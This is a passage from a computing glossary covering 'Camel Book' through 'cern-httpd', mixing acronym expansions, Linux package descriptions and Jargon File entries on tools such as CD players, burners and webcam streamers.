Still Camera Digital Interface A downloading/controlling tool for digital cameras with Sanyo firmware. Cameras with Sanyo firmware include all Olympus products, Epson products, Agfa products, and of course, Sanyo digital cameras. KNOWN TO WORK WITH The following lines list is based on Japanese product code. (US product code is in parentheses - EPSON's naming scheme is too confusing) - Olympus "Camedia" C-400L (Olympus D-200L) - Olympus "Camedia" C-820L (Olympus D-320L) - Olympus "Camedia" C-1000L (Olympus D-500L) - Olympus D-450Z - Olympus "Camedia" C-2020Z - Sanyo DSC-V1 (Sanyo VPC-G200E) - EPSON "Colorio Photo" CP-100 (EPSON PhotoPC) - EPSON "Colorio Photo" CP-200 (EPSON PhotoPC 500) - EPSON "Colorio Photo" CP-500 (EPSON PhotoPC 600) - Nikon CP-900 SHOULD WORK WITH Any camera with Sanyo firmware/CPU. Olympus, Epson, Agfa and Sanyo digital cameras falls into this category, reportedly. 
Camel Book
n. Universally recognized nickname for the book "Programming Perl", by Larry Wall and Randal L. Schwartz, O'Reilly and Associates 1991, ISBN 0-937175-64-1 (second edition 1996, ISBN 1-56592-149-6). The definitive reference on Perl. 
camlidl
Stub code generator for Objective Caml CamlIDL generates stub code for interfacing Caml with C from an IDL description of the C functions. Thus, CamlIDL automates the most tedious task in interfacing C libraries with Caml programs. It can also be used to interface Caml programs with other languages, as long as those languages have a well-defined C interface. This package contains the CamlIDL executable. 
CAMM
Computer Assisted Material Management 
camserv
stream video out onto the web Takes a video-for-linux video stream, generally from a camera, and streams it out live to requesting clients. Works with Mozilla, Netscape Navigator, and (under protest) Microsoft Internet Explorer. 
camserv-relay
relay camserv streaming video This connects as a client to a camserv streaming video server, and then acts as a camserv server, streaming the same data to clients. Useful when the computer doing the streaming has insufficient CPU, I/O, or network bandwidth to stream to the required number of clients. A tree of camserv relays can handle massive loads. 
camstream
collection of tools for webcams and other video-devices CamStream is (going to be) a collection of tools for webcams and other video-devices, enhancing your Linux system with multimedia video. All written in C++ and with a nice GUI frontend. The interface is based on Qt, an excellent GUI framework. The aim of this project is build a set of programs for: * Webcamming, that is saving an image and uploading it to a server at regular intervals; * Video conferencing; * Webcam broadcast (including server); * Recording movie clips (AVI, Quicktime) from a webcam (and playing them back); * Using a webcam as a security camera. 
CAN
Complete Area Networks (SNI) 
CAN
Controller Area Network 
canna
A japanese input system (server and dictionary). Canna is a Japanese input system available in Free Software. Canna provides a unified user interface for inputing Japanese. Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way. Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion. This package includes cannaserver program and dictionary files. 
CAO
Computer Aided Office 
CAP
Carrierless Amplitude Phase [modulation] (ADSL, AT&T) 
CAP
Communications-electronics Accommodation Program 
CAP
Component Approval Process 
CAP
Computer Aided Planning (CIM) 
CAP
Computer Aided Publishing 
CAPE
Computer Applications in Production and Engineering (conference, IFIP) 
CAPI
Communication Application Program Interface (ISDN, API) 
CAPI
Cryptography Application Programming Interface (cryptography, API) 
CAPP
Computer Aided Process Planning 
cappuccino
an utility to let your boss think that you're working hard Run this software on your computer when you are not motivated to work, and enjoy doing something different. If your boss come in your cubicle, he'll think "Yeah, he's doing something different since his computer is really busy - He's doing something really important". 
CAPSL
CAnnon Printing System Language (Canon), "CaPSL" 
captain
Graphical front-end for command line programs (Qt version) Captain is a universal graphical front-end (Qt) based on context-free grammars. The program kaptain reads a file containing grammatical rules for generating text. It builds a dialog from the grammar and generates the text according to the user's settings. There's also KDE version of this package (kaptain) if you have already installed KDE desktop. 
captoinfo
convert a termcap description into a terminfo description 
CARDVM
Card Virtual Machine (Java, Sun), "CardVM" 
CARE
Computer Assistance Resource Exchange 
CARLOS
Computer Aided Real Language Orthographic System 
CAS
Column Address Strobe (IC, DRAM) 
CAS
Communicating Applications Specification (FAX, Intel, DCA) 
CAS
Computer Aided Selling 
CAS
Computer Algebra System 
CAS
Computerized Autodial System 
CASE
Common Application Service Element (ISO, OSI) 
CASE
Computer Aided Software Engineering 
case sensitive
Of or relating to the handling of character casing in data input and output. UNIX (TM) and UNIX-compatible operating systems (such as Red Hat Linux) are case-sensitive in that they treat the same defined term differently if the terms are not cased identically (such as foo and FOO). 
CASH
Computer Aided Service Handling (Ashton-Tate), "C.A.S.H." 
casio
Backup utility for the CASIO diary. It is a package ported from DOS to allow communication to the CASIO series of hand-held organizers. It allows backup from CASIO to your computer and restore a backup file from your computer to the CASIO. It can also output human readable file from CASIO. Currently supports: phone, calendar, schedule, memo, and reminder. Read the documentation before using this program! 
CAST
Computer Aided Software Testing 
Castle
Castle is a server distribution from the ALT Linux Team in Russia. Installation instructions and some other documentation is available in English. A 'secured' distribution. 
castle-combat
enclose land and destroy your opponent's castle It's a clone of the old DOS game Rampart. Up to four players (or more in future versions) build castle walls, place cannons inside these walls, and shoot at the walls of their enemy(s). If a player can't build a complete wall around one of his castles, he loses. The last surviving player wins. 
casu
Communication and Status Utilities This package contains 2 utilities: 1. flon -- lists your friends who are logged on 2. to -- sends a short message to another user flon simply uses the ~/.friends file to instruct it on which users to display. Flon can also act like a BSD style who(1), if invoked with the -w option or from a symlink named 'who'. to is rather like write(1), except that it accepts input as command line arguments rather than on the standard input. It uses ~/.torc for configuration, and can be configured to autoreply to messages in different ways depending on whether you're logged in or not or if your terminal is idle, and can also exclude individual users from sending messages to your terminal. 
CAT
Common Authentication Technology (IETF, RFC 1511) 
CAT
Computer Aided Technology (fair) 
CAT
Computer Aided Telephony 
CAT
Computer Aided Testing 
cat
concatenate files and print on the standard output 
cat
[from `catenate' via Unix cat(1)] vt. 1. [techspeak] To spew an entire file to the screen or some other output sink without pause (syn. blast). 2. By extension, to dump large amounts of data at an unprepared target or with no intention of browsing it carefully. Usage: considered silly. Rare outside Unix sites. See also dd, BLT. Among Unix fans, cat(1) is considered an excellent example of user-interface design, because it delivers the file contents without such verbosity as spacing or headers between the files, and because it does not require the files to consist of lines of text, but works with any sort of data. Among Unix haters, cat(1) is considered the canonical example of bad user-interface design, because of its woefully unobvious name. It is far more often used to blast a file to standard output than to concatenate two files. The name cat for the former operation is just as unintuitive as, say, LISP's cdr. Of such oppositions are holy wars made.... See also UUOC. 
catalog
Tool to create,maintain and display Yahoo! like directories. Catalog is a perl program that allows to create, maintain and display Yahoo! like directories. The user interface is 100% HTML. It requires a MySQL database to run. The general idea behind the design of Catalog is that creating a catalog is mainly a matter of organizing objects in a structured tree. For Catalog the objects are records in a table of the SQL database. The structured tree is a set of tree nodes and relations between these nodes. The maintainer of the catalog is in charge of building the tree and placing objects in this tree. Here is a short list of the functions provided by Catalog: * Display structured trees of resources. * Display chronologically ordered resources and associated calendar. * Display alphabetical indexes of resources. * Allow full text search in the resources and the category names. * Powerful HTML based administration of catalogs. * On-Line editing of resource records. * Handle an arbitrary number of catalogs. * High performances using mod_perl and Apache. * Easy customization of the user view using HTML template files. * It is possible to define more than one view of the same catalog. * Load and unload a thematic catalog in XML. * Create an HTML dump of a structured tree to publish a static version. * Complete documentation including a guide and a reference manual. * Ready to use example. 
catatonic
adj. Describes a condition of suspended animation in which something is so wedged or hung that it makes no response. If you are typing on a terminal and suddenly the computer doesn't even echo the letters back to the screen as you type, let alone do what you're asking it to do, then the computer is suffering from catatonia (possibly because it has crashed). "There I was in the middle of a winning game of nethack and it went catatonic on me! Aaargh!" Compare buzz. 
catchsegv
Catch segmentation faults in programs 
catdoc
MS-Word to TeX or plain text converter This program extracts text from MS-Word files, trying to preserve as many special printable characters as possible. catdoc supports everything up to Word-97. It doesn't even try to preserve fancy Word formatting, because Word users usually don't care about document structure, and it is this very thing which is important to LaTeX users. Also provided is xls2csv, which extracts data from Excel spreadsheets and outputs it in comma-separated-value format. This package suggests tk because it also includes wordview, an optional Tk-based GUI for catdoc. The MIME config provided in this package will use wordview is X is running, or catdoc directly if it is not. 
catdvi
DVI to plain text translator CatDVI translates a TeX Device Independent (DVI) file into a readable plaintext file. It aims to generate high-quality output that reproduces all aspects of the DVI file within the limits of the output medium. CatDVI uses Unicode internally and can output ASCII, ISO Latin 1 and UTF-8 Unicode. CatDVI can be used for previewing TeX documents on character-cell displays such as traditional terminals and terminal emulators. It is also possible to use it in generation of plain text documents from TeX source, assuming that the document is written with this conversion in mind. CatDVI is under development and as such yet incomplete. However, it is quite useful even in its current form and already outperforms some of its competition in some areas. CatDVI requires that the TFM files for all fonts used in its input DVI files are installed or can be generated by kpathsea. 
CATI
Computer Aided Telephone Interviewing 
CATIS
Computer-Assisted Tactical Information System (mil., USA) 
catman
create or update the pre-formatted manual pages 
CATNIP
Common ArchiTecture for Next generation Internet Protocol (IPNG, RFC 1707) 
CATS
CodeWarrior Analysis Tools 
CAUCE
Coalition Against Unsolicited Commercial Email (org., Internet, spam, UCE) 
caudium
An extensible WWW server written in Pike Caudium is a modern, fast and extensible WWW server derived from Roxen. Caudium is by default compatible with Roxen 1.3 although some incompatible options, mostly introduced to improve the performance, security etc. of the server, can be turned on. Caudium features built-in log parsing engine (UltraLog), XSLT parser, native PHP4 support, multiple execution threads and many more features - see http://caudium.net/ and http://caudium.org/ for more information. 
CAV
Constant Angular Velocity (CD, HDD, MOD) 
CAVE
Cave for Automated Virtual Environment (VR) 
CAVO
Computer Associates - Visual Objects (CA, DB), "CA-VO" 
CBASIC
Commercial Beginners All purpose Symbolic Instruction Code (BASIC) 
cbb
The Check-Book Balancer - a Quicken clone CBB is a perl and tk application which can handle several bank accounts. CBB make transfers, balancing, spending analysis a breeze. 
CBC
Cipher Block Chaining [mode] (DES, DESE, RC5, cryptography) 
CBCP
CallBack Control Protocol 
CBCS
Computer Based Conversation System (BBS) 
CBDF
Character Bitmap Distribution Format (Adobe) 
CBDS
Connectionless Broadband Data Service (Europe) 
CBE
Certified Banyan Engineer (Banyan, VINES) 
cbedic
Text-mode Bulgarian/English Dictionary CBE Dictionary is a command-line Bulgarian to English and English to Bulgarian electronic Dictionary. It can work in interactive mode too. The dictionary databases are not included in this package. You have to download bedic-data.tar.gz from http://kbedic.sourceforge.net/download.php. Install the files buleng.dat and engbul.dat in /usr/local/share/bedic. 
CBEMA
Computer & Business Equipment Manufacturers Association (org.) 
CBF
Code Behind Form (MS, Access, DB) 
CBGA
Ceramic Ball and Grid Array (IC) 
CBIOS
Compatibility Basic Input Output System (IBM, BIOS) 
CBMS
Connectionless Broadband Data Service 
CBQ
Class Based Queueing 
CBR
Constant Bit Rate (ATM, VBR, ABR, UBR, QOS) 
cbrowser
a C/C++ source code indexing, querying and browsing tool Cbrowser is a graphical C/C++ source code searching and browsing tool, and a hierarchical function call viewer. Cbrowser is a front-end to the popular source code indexing and querying program cscope and the alternative cs, both free software. Author: Chris Felaco <cfelaco@users.sourceforge.net> Home Page: http://cbrowser.sourceforge.net/ 
CBS
Certified Banyan Specialist (Banyan, VINES) 
CBSR
Candidate BootStrap Router (PIM, BSR, Multicast), "C-BSR" 
CBT
Canon Buffer Transmission (Fax) 
CBT
Computer-Based Training 
CBT
Core Based Tree [multicast protocol] (IP, RFC 1949/2189, ST, Multicast) 
CBX
Computerized Branch eXchange (PBX) 
CC
Carbon Copy 
CC
Continuity Cell (ATM) 
CC
Country Code (MS-ISDN, GSM, mobile-systems) 
CC
Cross Connector 
cc
GNU project C and C++ Compiler (gcc-2.95) 
ccache
Compiler results cacher, for fast recompiles. ccache is a compiler cache. It speeds up re-compilation of C/C++ code by caching previous compiles and detecting when the same compile is being done again. This is similar (but faster) than the compilercache package. 
CCAF
Call Control Agent Function (IN) 
ccal
Colorised calendar utility CCAL is a drop in replacement for the standard unix calendar program. It includes support for color and daily, weekly, and yearly reminders/appointments. This release contains bug fixes and new features including support for reading "reminder" data files. 
CCC
Chaos Computer Club (org.) 
CCC
Computer Control Center 
CCC
Cube Connected Cycles (MP) 
CCCA
Campus Computer Communication Association (org., USA) 
cccd
A small GTK+ CD player program cccd is a small GTK+ CD player program with many features: * Works with SCSI devices * CDDB lookups (local and remote) and local storing * Uses very little screen space * Handles CD Extras (mixed mode CDs) 
CCCH
Common Control CHannel (GSM, mobile-systems) 
CCCI
Center for Cyber Communities Initiative (org., Japan) 
CCD
Charge Coupled Device 
CCE
Connection Control Entity 
cce
Console Chinese Environment - display Chinese (GB) on console CCE is a Console Chinese Environment like WZCE, yact & chdrv that lets you display and input Chinese (GB) at the console. Input methods include PinYin, WuBi, ShuangPin and ZiranMa. 
CCE
[visual basic] Control Creation Edition (VB, ActiveX, MS) 
CCETT
Centre Commun d'Etudes de Telediffusion et Telecommunications (org., France) 
CCF
??? (org.) 
CCF
Capsulated Color Filter (NEC) 
CCF
Central Computer Facility 
CCF
Connection Control Function (IN) 
CCF
Controller Configuration Facility 
CCFL
Cold Cathode Fluorescent Lamp (LCD) 
CCFT
Cold Cathode Fluorescent Tube (LCD, Display) 
CCIRN
Coordinating Committee of International Networks (org.) 
CCIS
Common Channel Interoffice Signaling (AT&T) 
CCITT
Comite Consultatif International Telegraphique et Telephonique (org., ITU, predecessor) 
CCL
Cerberus Central Limited (manufacturer) 
CCM
Change Configuration Management 
ccmakedep
create dependencies in makefiles using a C compiler 
ccmalloc
A memory profiler/debugger This is a memory profiling package. It can be used to debug various memory allocation problems, including: o memory leaks o multiple deallocation of the same data o under writes and over writes o writes to already deallocated data 
ccmtcnvt
convert C++ comments to C comments 
CCNC
Common Channel Network Controller 
CCNC
Computer / Communications Network Center 
CCNUMA
Cache-Coherent Non Uniform Memory Access (SMP, NUMA), "cc-NUMA" 
CCP
Command Console Processor (CP/M) 
CCP
Communications Control Program (OS, IBM) 
CCP
Compact Communication Products (TPS) 
CCP
[PPP] Compression Control Protocol (PPP, RFC 1962) 
CCR
Commitment, Concurrency and Recovery (OSI) 
CCR
Current Cell Rate (ATM) 
CCRMA
Center for Computer Research in Music and Acoustics (org., Stanford, UK) 
CCS
Cambridge Cybernetic Society (org.) 
CCS
Coded Character Set (CCS, Unicode) 
CCS
Common Channel Signaling (IN) 
CCS
Common Command Set (SCSI) 
CCS
Common Communications Support (IBM, SAA) 
CCS
Communications-Computer Systems, "C-CS" 
CCS
Cyprus Computer Society (Org, Zypern) 
CCS7
Common Channel signaling System 7 (IN, Telekom, CCITT) 
CCSID
Coded Character Set IDentification (IBM) 
CCSY
Cooperative Computing System Program (HP) 
CCT
China Coast Time [+0800] (TZ) 
CCTA
Central Computer and Telecommunications Agency (org., UK) 
CCTLD
Country Code Top Level DOMAIN (Internet, ICANN), "ccTLD" 
CCU
Cache Control Unit (Wyse) 
CCU
Customer Control Unit 
CCV
C-bit Coding Violation [error event] (DS3/E3) 
CCW
COM Callable Wrapper (MS, COM, Java) 
CD
Carrier Detect (MODEM, RS-232) 
CD
Change Directory (DOS, Unix, OS/2) 
cd
change directory - ; cd .. moves you backwards to the next higher subdirectory level; cd / moves you to the highest directory level. 
CD
Committee Draft (ISO) 
CD
Compact Disk (CD) 
cd tilde
/C-D til-d*/ vi. To go home. From the Unix C-shell and Korn-shell command cd ~, which takes one to one's $HOME (cd with no arguments happens to do the same thing). By extension, may be used with other arguments; thus, over an electronic chat link, cd ~coffee would mean "I'm going to the coffee machine." 
cd-circleprint
prints round shaped cd-labels a program to create round shaped cd-labels written in perl, using perl-tk as frontend. It has four lines of nice round shaped text for each label, additional four fields with normal text, choosable text-size, font colour, background colour and background images. You can squeeze the whole page if your printer doesn't generate correct circles and you can move the circle on the sheet. The output is postscript so it should be usable on any system. 
cd-discid
CDDB DiscID utility cd-discid is a backend utility to get CDDB discid information from a CD-ROM disc. 
CD-ROM
see compact disc read-only memory (CD-ROM). 
CDA
Communications Decency Act (Internet, USA) 
CDA
Compound Document Architecture (DEC) 
cdable_vars
If this is set, an argument to the cd builtin command that is not a directory is assumed to be the name of a variable whose value is the directory to change to. 
cdadd
play and catalog audio CDROMs on CDROM drive(s) 
CDB
Command Descriptor Block 
cdbackup
CD-R(W) backup utility cdbackup and cdrestore are a pair of utilities designed to facilitiate streaming backup to and from CD-R(W) disks. Specificially, they were designed to work with dump/restore, but tar/cpio/whatever you want should work, so long as it writes to stdout for backups and reads from stdin for restores. 
cdbakeoven
common GUI for writing CDs under KDE CD Bake Oven (CDBO) is a graphical CD-creation/copying tool designed which aims to combine the power and stability of great command line utilities with a contemporary, easy-to-use user interface. CDBO enables you to create data or music CDs in the most intuitive matter, while enabling you to control every aspect of the process. It is built on top of very well known cdrecord, mkisofs, cdda2wav and cdparanoia, encapsulating most of the options those utilities provide. This makes creating professional quality media as easy as making a few mouse clicks. Features include: o creating custom CDs by drag'n'drop'ing files from Konqueror or CDBO into the compilation list and clicking 'Create' o auto-detection of CD writers, supplemented by a Custom Devices Dialog for simple custom device configuration o a fully customize CD creation/duplication/erasing process (the CDBO Settings Dialog is split into convenient sections, such as o Audio CD copy, ISO Image creation, CDBO defaults, etc.) o a number of other features, such as: the ability to listen to o audio CDs while copying; ISO image creation; ISO image preview; Burn-At-Once support; BurnProf support (must be supported by the (hardware); bootable (El Torito) CD creation; and multiplatform CD creation. 
CDBS
Connectionless Data Bearer Service 
CDBX
Computerized Digital Branch eXchange (PBX) 
CDC
Connected Device Configuration (JVM) 
CDC
Control Data Corporation (manufacturer) 
CDC
Cult of the Dead Cow (org.), "cDc" 
cdcd
command line or console based CD player cdcd works in two ways, accepting commands directly off the command line or in a query mode similar to other UNIX programs. To pass a command to cdcd, simply run cdcd with the command as the argument (e.g. cdcd play). This is great for using cron and cdcd together to make a CD alarm clock. Or you can run cdcd without arguments and you will be given the cdcd command prompt. 
cdcontrol
A parallel burner that allow you to write to one or more CD-Writter at once CDcontrol is a parallel CD burner program. It's allow you write to a unlimited number or CD writers (IDE and SCSI) at once time. The CDcontrol is the first burning system of that type that I know for *nix operating system and it's all under GPL license. Some of it's features are better than commercial systems that I've hear about (and fully support CD images and all data type supported by cdrecord program), one of these features is the separated control of each recorder once the recording is started (avoid problems due a fail or speed problem in other writers). The CDcontrol itself has a daily production report for each writter and fails of writting, in cases of more serious errors, a technical report is also written (it's content is a full cdrecord output for that writter, plus the time when it happens). Other interesting feature is the automatic calculation of copies, enabling only the writers requested to complete the number and skipping all that are disabled. The CDcontrol come with the following tools: cd-memoria - Read the CD image and write it on the permanent memory (HD, Raid, CDRW, etc). memoria-cd - Read the CD image and write it on all writers. apagar-cdcontrol - Delete a CD image from permanent memory config-cdcontrol - Allow you to manually enable/disable one or more writers. rel-cdcontrol - Allow you to read the success/fail reports of each day (the technician report is found at the subdirectory $LOG_DIR/tec and should be read as any text file in the system). 
cdcover
Creating Data-CD Covers cdcover is a little commandline tool which creates user-defined data-cd covers. 
cdctrl
command line CDROM control 
CDD
Component Design Document 
CDDA
Compact Disk - Digital Audio (CD, Digital audio), "CD-DA" 
cdda2wav
Cdda2wav is a sampling utility for CD-ROM drives that is capable of providing CD audio data in digital form to your host. Audio data read from the CD can be saved as .wav or .sun format sound files. Recording formats include stereo/mono, 8/12/16 bits, and different rates. Cdda2wav can also be used as a CD player. 
cdda2wav
Creates WAV files from audio CDs cdda2wav lets you digitally copy audio tracks from a CD-ROM, avoiding the distortion that is introduced when recording via a sound card. Data can be dumped into wav or sun format sound files. Options control the recording format (stereo/mono; 8/16 bits; sampling rate, etc). 
cddb
CD DataBase support tools This package provides a location for programs to store files from the CDDB in and contains a simple program to query CDDB servers. 
CDDI
Copper Distributed Data Interface (FDDI, UTP) 
CDE
Certified Directory Engineer (Novell, Netware) 
CDE
Common Desktop Environment 
CDE
Compact Disk - Erasable (CD), "CD-E" 
CDE
Cooperative Development Environment (Oracle) 
CDE (Common Desktop Environment)
UNIX has not traditionally been intended as a desktop operating system, and therefore has lacked many of the features of Windows and Macintosh PCs. CDE is a standard supported by numerous UNIX vendors to supply a common desktop environment on top of X Windows and RPC. Of interest to hackers are the following, services: ToolTalk rpc.ttdbd Provides the core of most "desktop" services. Provides an inter-application communication library that can be linked to applications. ToolTalk has had two major remote exploits providing root access. In 1999, a buffer-overflow was discovered. In 2001, a format-string exploit was discovered. Both resulted in widespread compromises. 
cdebconf
Debian Configuration Management System (C-implementation) Debconf is a configuration management system for Debian packages. It is used by some packages to prompt you for information before they are installed. This is a reimplementation of the original debconf version in C. Installing this package is rather dangerous now. It will break debconf. You have been warned! 
cdecl
Turn english phrases to C or C++ declarations Cdecl is a program which will turn English-like phrases such as "declare foo as array 5 of pointer to function returning int" into C declarations such as "int (*foo[5])()". It can also translate the C into the pseudo- English. And it handles typecasts, too. Plus C++. And in this version it has command line editing and history with the GNU readline library. 
cdeject
play and catalog audio CDROMs on CDROM drive(s) 
CDF
Channel Definition Format (MS, Internet, XML) 
CDF
Compound Document Framework (IBM, OLE) 
CDFS
Compact Disk File System (CD, OS/2, IBM) 
cdfs-src
shows the tracks on a CD as normal files CDfs is a file system for Linux systems that `exports' all tracks and boot images on a CD as normal files. These files can then be mounted (e.g. for ISO and boot images), copied, played (WAVE audio and VideoCD tracks)... The primary goal for developing this file system was to `unlock' information in old ISO images. 
CDG
Compact Disk + Graphics (CD), "CD+G" 
CDI
Compact Disk - Interactive (CD), "CD-I" 
cdialog
Dialog is a utility that allows you to show dialog boxes (containing questions or messages) in TTY (text mode) interfaces. Dialog is called from within a shell script. The following dialog boxes are implemented: yes/no, menu, input, message, text, info, checklist, radiolist, and gauge. Install dialog if you would like to create TTY dialog boxes. 
CDIF
CASE Data Interchange Format (CASE) 
cdindex-client
cdindex is intended to be the open source replacement of cddb(tm) cdindex is a system that allows the web based submission of title, artist information of CDs and the retrieval. It is completely web based (cgi / html / xml) and uses a web browser for submission / retrieval. 
cdinfo
play and catalog audio CDROMs on CDROM drive(s) 
cdir
play and catalog audio CDROMs on CDROM drive(s) 
CDK
Control Development Toolkit (MS, VB) 
cdlabelgen
generates front cards and tray cards for CDs cdlabelgen was designed to simplify the process of generating labels for CDs. It originated as a program to allow auto generation of front cards and tray cards for CDs burned via an automated mechanism (specifically for archiving data), but has now become popular for labelling CD compilations of mp3's, and copies of CDs. Note that cdlabelgen does not actually print anything--it just spits out postscript, which you can then do with as you please. Author: B. W. Fitzpatrick <fitz@red-bean.com> Homepage: http://www.red-bean.com/~bwf/software/cdlabelgen/ 
CDLinux
CDlinux is a CD based mini Linux distribution, which runs from a CDROM. It aims to be an administration/rescue tool for Eastern Asian (CJK) users. CDlinux is also highly user configureable, and supports a wide range of hardware (PCMCIA/SCSI/USB). Version 0.4.3 was released June 10, 2003. A CD-based distribution. 
CDLinux
This CDLinux was a Chinese Debian GNU/Linux running on a CD. Last update, March 30, 2001. Distribution development is not all that active. 
cdloop
Restart a CD when it ceases playing 
CDM
Compressed Data Mode 
CDMA
Code Division Multiple Access (DFUe) 
CDMIDI
Compact Disk + Musical Instruments Digital Interface (CD, MIDI), "CD+MIDI" 
CDMO
Compact Disk - Magneto Optical (CD), "CD-MO" 
CDMS
Communication Driver Maintenance System (ISDN, HST) 
CDNC
Chinese DOMAIN Name Consortium (org., Internet, DOMAIN) 
CDO
Collaboration Data Objects (WSH, MS) 
cdown
query cddb database for info on a disc 
cdp
Cdp is a program for playing CDs on the Linux console. Cdp includes a full-screen ncurses mode and a command line mode for scripts. 
cdparanoia
An audio extraction tool for sampling CDs. Unlike similar programs such as cdda2wav, cdparanoia goes to great lengths to try to extract the audio information without any artifacts such as jitter. 
cdparanoia
This CDDA reader distribution ('cdparanoia') reads audio from the CDROM directly as data, with no analog step between, and writes the data to a fileor pipe as .wav, .aifc or as raw 16 bit linear PCM. cdparanoia is a complete rewrite of Heiko Eissfeldt's 'cdda2wav' program, and generally is much better at succeeding to read difficult discs with cheap drives. 
cdpause
play and catalog audio CDROMs on CDROM drive(s) 
CDPC
Cellular Digital Packet Data 
CDPD
Cellular Digital Packet Data (mobile-systems) 
cdplay
play and catalog audio CDROMs on CDROM drive(s) 
CDR
Compact Disk - Recordable (CD), "CD-R" 
CDRA
Character Data Representation Architecture 
CDRAM
Cached Dynamic Random Access Memory (RAM, DRAM, IC) 
cdrdao
Cdrdao records audio CD-Rs in disk-at-once (DAO) mode, based on a textual description of the CD contents. Recording in DAO mode writes the complete disc (lead-in, one or more tracks, and lead-out) in a single step. DAO allows full control over the length and the contents of pre-gaps, the pause areas between tracks. 
cdrdao
Write audio or mixed mode CD-Rs in disk-at-once mode cdrdao creates audio or mixed mode CD-Rs in disk-at-once (DAO) mode driven by a description file. In DAO mode it is possible to create non standard track pre-gaps that have other lengths than 2 seconds and contain nonzero audio data. This is for example useful to divide live recordings into tracks where 2 second gaps would be irritating. It is also possible to create hidden tracks or track intros as found on commercial CDs. This tool can produce audio and mixed mode CDs. 
cdrdao
Writes audio CD-Rs in disc-at-once (DAO) mode allowing control over pre-gaps (length down to 0, nonzero audiodata) and sub-channel information like ISRC codes. Alldata that is written to the disc must be specified witha text file. Audio data may be in WAVE or raw format. 
cdrecord
A command line CD/DVD writing tool cdrecord allows you to create CDs on a CD recorder (SCSI or ATAPI). It supports writing data, audio, mixed, multi-session, and CD+ and DVD discs, on just about every type of CD recorder out there. 
cdreset
play and catalog audio CDROMs on CDROM drive(s) 
CDRM
Cross DOMAIN Resource Manager (VTAM, SSCP, IBM) 
CDROM
Compact Disk - Read Only Memory (CD, ROM), "CD-ROM" 
CDROMXA
Compact Disk - ROM / eXtended Architecture (CD, MPC, ROM), "CD-ROM/XA" 
cdrtoaster
Tcl/Tk front-end for burning cdrom. CDR-Toaster is a Tcl/Tk front-end for cdrecord, cdparanoia and mkisofs. It is very userful for burning data and audio cdrom. 
CDRW
Compact Disk - ReWritable (CD), "CD-RW" 
CDS
Cell Directory Service (DCE) 
CDS
Current Directory Structure (BIOS. DOS) 
CDSA
Common Data Securuty Architecture (HP, cryptography) 
cdshuffle
play and catalog audio CDROMs on CDROM drive(s) 
CDSS
Creative Decision Stimulation Systems (AI, DSS) 
CDT
Cell Delay Tolerance (ATN) 
CDT
Central Daylight Time [-0500] (TZ, CST, USA) 
cdtool
play and catalog audio CDROMs on CDROM drive(s) 
cdtool
some text-based commands for managing a CD cdtool contains cdplay, cdeject, cdstop, cdpause, and several other utilities that let you control your CD-ROM drive from a command line. Also, it comes with cdir, a utility that uses a workman-style database to keep track of the contents of different CDs. It now includes a commandline utility for controlling a CD-ROM called cdctrl. 
CDTV
Commodore Dynamic Total Vision (Commodore) 
CDV
Cell Delay Variation (UNI, ATM, QOS) 
cdvolume
play and catalog audio CDROMs on CDROM drive(s) 
CDVT
Cell Delay Variation Tolerance (UNI, ATM, CDV) 
CDWO
Compact Disk - Write Once (CD), "CD-WO" 
CE
Communaute / Comunique Europeenne (Europe) 
CE
Communications-Electronics, "C-E" 
CE
Compact Edition (MS, Windows) 
CE
Connection Endpoint (UNI) 
CEARCH
Cisco Educational ARCHive (Cisco, WWW) 
CEBIT
welt CEntrum Buero Information Telekommunikation (fair), "CeBIT" 
CECI
CICS Enhanced Command Interpreter (IBM, CICS) 
CEDA
??? (CICS, IBM) 
CEDR
[Microsoft Windows] Compact Edition Driver Repository (MS, Windows, CE) 
CEECEB
Central and Eastern European Countries EDIFACT Board (org., EDIFACT), "CEEC/EB" 
CEG
Continuous Edge Graphics (Grafik, IC) 
CEI
Connection Endpoint Identifier (UNI) 
celestia
A real-time visual space simulation Celestia is a real-time visual simulation of space. Choose a point within the Local Group of galaxies, and Celestia will show you an approximation of how it would appear to your eyes were you actually there. Some of what Celestia shows is necessarily hypothetical--the farther away from Earth you get, the less real data there is and the more guesswork is involved. Thus Celestia supplements observational data with good guesses based on models of stellar and planetary processes. Celestia is unique in its ability to allow you to navigate at an immense range of scales. Orbit a couple kilometers above the surface of a tiny, irregular asteroid, then head off toward Jupiter, watching it grow from a bright point of light into a looming sphere filling your field of vision. Leave our solar system entirely and observe the sun as it fades from a brilliant disk to a bright star, disappearing almost entirely as you head off toward the Upsilon Andromeda system to orbit around its innermost giant planet. 
CELP
Card Edge Low Profile [socket] 
CELP
Code Excited Linear Prediction 
CEM
Contract Equipment Manufacturer 
CEMT
??? (CICS, IBM) 
CEN
Comite Europeen de Normalisation (Europe, Brussels) 
CENELEC
Comite Europeen de Normalisation ELECtrotechnique (org., CEN, Europe) 
centericq
A text-mode ICQ client based on ncurses Centericq is a text mode menu- and window-driven IM interface. ICQ, Yahoo! and MSN protocols are now supported. It allows you to send, receive, and forward messages, URLs, SMSes and, contacts, mass message send, search for users (including extended "whitepages search"), view users' details, maintain your contact list directly from the program (including non-icq contacts), view the messages history, register a new UIN and update your details, be informed on receiving email messages, automatically set away after the defined period of inactivity (on any console), and have your own ignore, visible and invisible lists. It can also associate events with sounds, has support for Hebrew and Arabic languages and allows to arrange contacts into groups. 
CENTR
Council of European National Top level DOMAIN Registries 
Central Processing Unit (CPU)
The component of a computer in which data processing takes place.From Glossary of Distance Education and Internet Terminology
central processing unit (CPU)
The component which controls the computation and operation of a computer system. Units within the CPU perform math and logic operations and translate and execute instructions. 
CEPAC
CMOS-Ein-Platinen-Allzweck-Computer (IC, CMOS, C'T) 
CEPIS
Council of European Professional Informatics Societies (org., Europe) 
CEPT
Conference of European Postal and Telecommunications administrations (org., CCITT, conference, Europe) 
CER
Cell Error Ratio (ATM) 
CERFNET
California Educational and Research Federation NETwork (network), "CERFNet" 
CERN
Conseil Europeenne pour la Recherche Nucleaire (org., Europe, Geneva) 
CERN Linux
CERN Linux is based on Red Hat Linux, with modifications to the kernel (to better support their hardware) and with additional software for High Energy Physics (HEP). It is used mostly at CERN and a few of the smaller HEP institutes worldwide, running on farm machines, servers, desktops and embedded PCs. CERN 7.3.2 was released April 9, 2003. Added to list June 17, 2003. 
cern-httpd
